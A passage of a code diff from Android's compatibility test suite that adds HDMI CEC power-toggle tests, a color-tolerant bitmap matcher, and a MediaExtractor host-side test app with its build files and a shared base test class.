+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is awake and active source. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_awake_activeSource_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is on.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOn() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(ON));
+            // Verify that device is asleep and <Standby> was sent to TV.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Tests that KEYCODE_TV_POWER functions as a TV power toggle.
+     * Device is asleep. TV is off.
+     */
+    @Test
+    public void cectTvPowerToggleTest_asleep_tvOff() throws Exception {
+        ITestDevice device = getDevice();
+        // Make sure the device is not booting up/in standby
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String previousPowerControlMode = setPowerControlMode("to_tv");
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            device.executeShellCommand("input keyevent KEYCODE_TV_POWER");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.GIVE_POWER_STATUS);
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, PLAYBACK_DEVICE,
+                    CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
+            // Verify that device is awake and <Text View On> and <Active Source> were sent.
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertThat(wakeState.trim()).isEqualTo("mWakefulness=Awake");
+        } finally {
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
deleted file mode 100644
index 4a850e9..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecVendorCommandsTest.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecMessage;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
-
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-    private static final int INCORRECT_VENDOR_ID = 0x0;
-
-    public HdmiCecVendorCommandsTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    /**
-     * Test 11.2.9-1
-     * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
-     * with a <DEVICE_VENDOR_ID>.
-     */
-    @Test
-    public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
-        for (LogicalAddress logicalAddress : LogicalAddress.values()) {
-            // Skip the logical address of this device
-            if (logicalAddress == PLAYBACK_DEVICE) {
-                continue;
-            }
-            hdmiCecClient.sendCecMessage(logicalAddress, CecOperand.GIVE_DEVICE_VENDOR_ID);
-            String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
-            assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
-        }
-    }
-
-    /**
-     * Test 11.2.9-2
-     * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
-     * initialisation and address allocation.
-     */
-    @Test
-    public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
-        ITestDevice device = getDevice();
-        device.executeShellCommand("reboot");
-        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
-        assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
-    }
-}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
         for (int i = 0; i < NUM_ALARMS; i++) {
             alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
                     SystemClock.elapsedRealtime() + (i + 1) * 1000,
-                    PendingIntent.getBroadcast(context, i, intent, 0));
+                    PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
         }
         assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
     }
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
index 9edd60c..34b3add 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/BitmapImage.java
@@ -17,6 +17,7 @@
 package android.inputmethodservice.cts.ime;
 
 import android.graphics.Bitmap;
+import android.graphics.Color;
 
 import androidx.annotation.AnyThread;
 import androidx.annotation.ColorInt;
@@ -26,6 +27,13 @@
  * A utility class that represents A8R8G8B bitmap as an integer array.
  */
 final class BitmapImage {
+    /**
+     * Tolerance level between the expected color and the actual color in each color channel.
+     *
+     * <p>See Bug 174534092 about why we ended up having this.</p>
+     */
+    private static final int TOLERANCE = 4;
+
     @NonNull
     private final int[] mPixels;
     private final int mWidth;
@@ -91,7 +99,22 @@
     }
 
     /**
-     * Checks if the same image can be found in the specified {@link BitmapImage}
+     * Compares two given pixels to determine whether those two pixels are considered to be
+     * the same within {@link #TOLERANCE}.
+     *
+     * @param lhs a color integer to be compared.
+     * @param rhs another color integer to be compared.
+     * @return {@true} if two given pixels are the same within {@link #TOLERANCE}.
+     */
+    private static boolean robustMatchInternal(@ColorInt int lhs, @ColorInt int rhs) {
+        return lhs == rhs || (Math.abs(Color.red(lhs) - Color.red(rhs)) <= TOLERANCE
+                && Math.abs(Color.green(lhs) - Color.green(rhs)) <= TOLERANCE
+                && Math.abs(Color.blue(lhs) - Color.blue(rhs)) <= TOLERANCE);
+    }
+
+    /**
+     * Checks if the same image can be found in the specified {@link BitmapImage} within a certain
+     * error margin.
      *
      * @param targetImage {@link BitmapImage} to be checked.
      * @param offsetX X offset in the {@code targetImage} used when comparing.
@@ -99,7 +122,7 @@
      * @return
      */
     @AnyThread
-    boolean match(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
+    boolean robustMatch(@NonNull BitmapImage targetImage, int offsetX, int offsetY) {
         final int targetWidth = targetImage.getWidth();
         final int targetHeight = targetImage.getHeight();
 
@@ -113,7 +136,7 @@
                 if (targetY < 0 || targetHeight <= targetY) {
                     return false;
                 }
-                if (targetImage.getPixel(targetX, targetY) != getPixel(x, y)) {
+                if (!robustMatchInternal(targetImage.getPixel(targetX, targetY), getPixel(x, y))) {
                     return false;
                 }
             }
diff --git a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
index e3fd024..5d0cb0c 100644
--- a/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
+++ b/hostsidetests/inputmethodservice/deviceside/lib/src/android/inputmethodservice/cts/ime/Watermark.java
@@ -204,7 +204,7 @@
         // Search from the bottom line with an assumption that the IME is shown at the bottom.
         for (int offsetY = targetImage.getHeight() - 1; offsetY >= 0; --offsetY) {
             for (int offsetX = 0; offsetX < targetImage.getWidth(); ++offsetX) {
-                if (mImage.match(targetImage, offsetX, offsetY)) {
+                if (mImage.robustMatch(targetImage, offsetX, offsetY)) {
                     return true;
                 }
             }
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 8d6b291e..eab19a0 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -4,3 +4,7 @@
 marcone@google.com
 sungsoo@google.com
 jaewan@google.com
+
+# LON
+olly@google.com
+andrewlewis@google.com
diff --git a/hostsidetests/media/TEST_MAPPING b/hostsidetests/media/TEST_MAPPING
new file mode 100644
index 0000000..e7796eb
--- /dev/null
+++ b/hostsidetests/media/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsMediaHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/Android.bp b/hostsidetests/media/app/MediaExtractorTest/Android.bp
new file mode 100644
index 0000000..8eab97e
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/Android.bp
@@ -0,0 +1,55 @@
+// Copyright 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMediaExtractorHostTestApp",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    jni_libs: ["libCtsMediaExtractorHostTestAppJni"],
+    static_libs: [
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    compile_multilib: "both",
+    sdk_version: "test_current",
+}
+
+cc_test_library {
+    name: "libCtsMediaExtractorHostTestAppJni",
+    srcs: ["jni/MediaExtractorDeviceSideTestNative.cpp"],
+    shared_libs: [
+        "liblog",
+        "libmediandk",
+        "libandroid",
+        "libnativehelper_compat_libc++",
+    ],
+    header_libs: ["liblog_headers"],
+    include_dirs: [
+        "frameworks/av/media/ndk/include/media",
+    ],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+    sdk_version: "current",
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
new file mode 100644
index 0000000..75f05b1
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.cts"
+            android:label="Device test app for MediaExtractor host side tests.">
+        <meta-data android:name="listener"
+                android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4 b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
new file mode 100644
index 0000000..a49c1cd
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/assets/raw/small_sample.mp4
Binary files differ
diff --git a/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
new file mode 100644
index 0000000..b39d99b
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/jni/MediaExtractorDeviceSideTestNative.cpp
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <NdkMediaExtractor.h>
+#include <android/asset_manager.h>
+#include <android/asset_manager_jni.h>
+#include <jni.h>
+#include <nativehelper/ScopedUtfChars.h>
+#include <thread>
+
+extern "C" JNIEXPORT void JNICALL
+Java_android_media_cts_MediaExtractorDeviceSideTest_extractUsingNdkMediaExtractor(
+        JNIEnv* env, jobject, jobject assetManager, jstring assetPath, jboolean withAttachedJvm) {
+    ScopedUtfChars scopedPath(env, assetPath);
+
+    AAssetManager* nativeAssetManager = AAssetManager_fromJava(env, assetManager);
+    AAsset* asset = AAssetManager_open(nativeAssetManager, scopedPath.c_str(), AASSET_MODE_RANDOM);
+    off_t start;
+    off_t length;
+    int fd = AAsset_openFileDescriptor(asset, &start, &length);
+
+    auto mediaExtractorTask = [=]() {
+        AMediaExtractor* mediaExtractor = AMediaExtractor_new();
+        AMediaExtractor_setDataSourceFd(mediaExtractor, fd, start, length);
+        AMediaExtractor_delete(mediaExtractor);
+    };
+
+    if (withAttachedJvm) {
+        // The currently running thread is a Java thread so it has an attached JVM.
+        mediaExtractorTask();
+    } else {
+        // We want to run the MediaExtractor calls on a thread with no JVM, so we spawn a new native
+        // thread which will not have an associated JVM. We execute the MediaExtractor calls on the
+        // new thread, and immediately join its execution so as to wait for its completion.
+        std::thread(mediaExtractorTask).join();
+    }
+    // TODO: Make resource management automatic through scoped handles.
+    close(fd);
+    AAsset_close(asset);
+}
diff --git a/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
new file mode 100644
index 0000000..51b2faf
--- /dev/null
+++ b/hostsidetests/media/app/MediaExtractorTest/src/android/media/cts/MediaExtractorDeviceSideTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.content.res.AssetFileDescriptor;
+import android.content.res.AssetManager;
+import android.media.MediaExtractor;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** Test class used by host-side tests to trigger {@link MediaExtractor} media metric events. */
+@RunWith(AndroidJUnit4.class)
+public class MediaExtractorDeviceSideTest {
+
+    static {
+        System.loadLibrary("CtsMediaExtractorHostTestAppJni");
+    }
+
+    private static final String SAMPLE_PATH = "raw/small_sample.mp4";
+    private AssetManager mAssetManager;
+
+    @Before
+    public void setUp() {
+        mAssetManager = InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+    }
+
+    @Test
+    public void testEntryPointSdk() throws Exception {
+        MediaExtractor mediaExtractor = new MediaExtractor();
+        AssetManager assetManager =
+                InstrumentationRegistry.getInstrumentation().getContext().getAssets();
+        try (AssetFileDescriptor fileDescriptor = assetManager.openFd(SAMPLE_PATH)) {
+            mediaExtractor.setDataSource(fileDescriptor);
+        }
+        mediaExtractor.release();
+    }
+
+    @Test
+    public void testEntryPointNdkNoJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ false);
+    }
+
+    @Test
+    public void testEntryPointNdkWithJvm() {
+        extractUsingNdkMediaExtractor(mAssetManager, SAMPLE_PATH, /* withAttachedJvm= */ true);
+    }
+
+    private native void extractUsingNdkMediaExtractor(
+            AssetManager assetManager, String assetPath, boolean withAttachedJvm);
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
new file mode 100644
index 0000000..ddce632
--- /dev/null
+++ b/hostsidetests/media/src/android/media/cts/BaseMediaHostSideTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+import java.util.concurrent.TimeUnit;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+/** Base class for host-side tests for media APIs. */
+public class BaseMediaHostSideTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than the defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    /** Instrumentation test runner argument key used for individual test timeout. */
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+     * timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    /**
+     * Runs tests on the device.
+     *
+     * @param pkgName The test package file name that contains the test.
+     * @param testClassName The class name to test within the test package. If {@code null}, runs
+     *     all test classes in the package.
+     * @param testMethodName Method name to test within the test class. Ignored if {@code
+     *     testClassName} is {@code null}. If {@code null}, runs all test classes in the class.
+     */
+    protected void runDeviceTests(
+            String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner = getTestRunner(pkgName, testClassName, testMethodName);
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(getDevice().runInstrumentationTests(testRunner, listener));
+        assertTestsPassed(listener.getCurrentRunResults());
+    }
+
+    /**
+     * Excutes shell command and returns the result.
+     *
+     * @param command The command to run.
+     * @return The result from the command. If the result was {@code null}, empty string ("") will
+     *     be returned instead. Otherwise, trimmed result will be returned.
+     */
+    protected @Nonnull String executeShellCommand(String command) throws Exception {
+        LogUtil.CLog.d("Starting command " + command);
+        String commandOutput = getDevice().executeShellCommand(command);
+        LogUtil.CLog.d("Output for command " + command + ": " + commandOutput);
+        return commandOutput != null ? commandOutput.trim() : "";
+    }
+
+    /** Installs the app with the given {@code appFileName}. */
+    protected void installApp(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        LogUtil.CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        String result =
+                getDevice()
+                        .installPackage(
+                                buildHelper.getTestFile(appFileName),
+                                /* reinstall= */ true,
+                                /* grantPermissions= */ true,
+                                "-t"); // Signals that this is a test APK.
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    /** Returns a {@link RemoteAndroidTestRunner} for the given test parameters. */
+    protected RemoteAndroidTestRunner getTestRunner(
+            String pkgName, String testClassName, String testMethodName) {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+        return testRunner;
+    }
+
+    /**
+     * Asserts that {@code testRunResult} contains at least one test, and that all tests passed.
+     *
+     * <p>If the assertion fails, an {@link AssertionError} with a descriptive message is thrown.
+     */
+    protected void assertTestsPassed(TestRunResult testRunResult) {
+        if (testRunResult.isRunFailure()) {
+            throw new AssertionError(
+                    "Failed to successfully run device tests for "
+                            + testRunResult.getName()
+                            + ": "
+                            + testRunResult.getRunFailureMessage());
+        }
+        if (testRunResult.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (testRunResult.hasFailedTests()) {
+            // Build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    testRunResult.getTestResults().entrySet()) {
+                if (!resultEntry
+                        .getValue()
+                        .getStatus()
+                        .equals(com.android.ddmlib.testrunner.TestResult.TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+    }
+}
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 08461fb..1a03581 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -43,26 +43,7 @@
 /**
  * Base class for host-side tests for multi-user aware media APIs.
  */
-public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    /**
-     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
-     * command output from the device. At any time, if the shell command does not output anything
-     * for a period longer than the defined timeout the Tradefed run terminates.
-     */
-    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
-
-    /**
-     * Instrumentation test runner argument key used for individual test timeout
-     **/
-    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
-
-    /**
-     * Sets timeout (in milliseconds) that will be applied to each test. In the
-     * event of a test timeout it will log the results and proceed with executing the next test.
-     */
-    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(5);
+public class BaseMultiUserTest extends BaseMediaHostSideTest {
     private static final String SETTINGS_PACKAGE_VERIFIER_NAMESPACE = "global";
     private static final String SETTINGS_PACKAGE_VERIFIER_NAME = "package_verifier_enable";
 
@@ -78,7 +59,6 @@
      */
     protected static final int USER_SYSTEM = 0;
 
-    private IBuildInfo mCtsBuild;
     private String mPackageVerifier;
 
     private Set<String> mExistingPackages;
@@ -104,7 +84,7 @@
                 "0",
                 USER_ALL);
 
-        mExistingUsers = new ArrayList();
+        mExistingUsers = new ArrayList<>();
         int primaryUserId = getDevice().getPrimaryUserId();
         mExistingUsers.add(primaryUserId);
         mExistingUsers.add(USER_SYSTEM);
@@ -139,11 +119,6 @@
         super.tearDown();
     }
 
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
     /**
      * Installs the app as if the user of the ID {@param userId} has installed the app.
      *
@@ -165,20 +140,6 @@
                 result);
     }
 
-    /**
-     * Excutes shell command and returns the result.
-     *
-     * @param command command to run.
-     * @return result from the command. If the result was {@code null}, empty string ("") will be
-     *    returned instead. Otherwise, trimmed result will be returned.
-     */
-    protected @Nonnull String executeShellCommand(final String command) throws Exception {
-        CLog.d("Starting command " + command);
-        String commandOutput = getDevice().executeShellCommand(command);
-        CLog.d("Output for command " + command + ": " + commandOutput);
-        return commandOutput != null ? commandOutput.trim() : "";
-    }
-
     private int createAndStartUser(String extraParam) throws Exception {
         String command = "pm create-user" + extraParam + " TestUser_" + System.currentTimeMillis();
         String commandOutput = executeShellCommand(command);
@@ -248,49 +209,15 @@
      *    {@code null}.
      * @param userId user ID to run the tests as.
      */
-    protected void runDeviceTestsAsUser(
+    protected void runDeviceTests(
             String pkgName, @Nullable String testClassName,
             @Nullable String testMethodName, int userId) throws DeviceNotAvailableException {
